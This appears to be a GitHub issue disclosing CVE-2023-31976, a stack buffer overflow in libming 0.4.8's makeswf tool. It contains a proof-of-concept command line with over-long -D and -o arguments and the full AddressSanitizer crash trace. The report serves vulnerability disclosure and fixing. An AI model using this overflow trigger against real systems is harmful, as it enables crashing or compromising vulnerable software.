Headline
CVE-2023-31976: makeswf stack buffer overflow · Issue #265 · libming/libming
libming v0.4.8 was discovered to contain a stack buffer overflow via the function makeswf_preprocess at /util/makeswf_utils.c.
When the program input contains the option of "-D" or "-o" , the program will cause stack buffer overflow error.
How to trigger
Compile the program with AddressSanitizer
Run command $ touch aaa
$ ./makeswf -D iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii -o aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa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aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Output compression level: 9
Output SWF version: 6
Preprocessing ../../aaa... =================================================================
==2497535==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd856fb8a0 at pc 0x00000043d930 bp 0x7ffd856fb370 sp 0x7ffd856fab08
WRITE of size 1291 at 0x7ffd856fb8a0 thread T0
#0 0x43d92f in __interceptor_vsprintf (/home/root/Dataset/libming/sourcecode/origin_asan/install/bin/makeswf+0x43d92f)
#1 0x43e913 in sprintf (/home/root/Dataset/libming/sourcecode/origin_asan/install/bin/makeswf+0x43e913)
#2 0x4d0fca in makeswf_preprocess /home/root/Dataset/libming/sourcecode/libming-ming-0_4_8/util/makeswf_utils.c:251:2
#3 0x4d0a33 in makeswf_compile_source /home/root/Dataset/libming/sourcecode/libming-ming-0_4_8/util/makeswf_utils.c:114:10
#4 0x4cddc6 in main /home/root/Dataset/libming/sourcecode/libming-ming-0_4_8/util/makeswf.c:412:9
#5 0x7f3229403082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#6 0x41d5bd in _start (/home/root/Dataset/libming/sourcecode/origin_asan/install/bin/makeswf+0x41d5bd)
Address 0x7ffd856fb8a0 is located in stack of thread T0 at offset 1056 in frame
#0 0x4d0d7f in makeswf_preprocess /home/root/Dataset/libming/sourcecode/libming-ming-0_4_8/util/makeswf_utils.c:240
This frame has 2 object(s):
[32, 1056) 'buf' (line 241)
[1184, 1328) 'statbuf' (line 243) <== Memory access at offset 1056 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/root/Dataset/libming/sourcecode/origin_asan/install/bin/makeswf+0x43d92f) in __interceptor_vsprintf
Shadow bytes around the buggy address:
0x100030ad76c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad76d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad76e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad76f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad7700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100030ad7710: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x100030ad7720: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad7730: 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
0x100030ad7740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad7750: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00
0x100030ad7760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2497535==ABORTING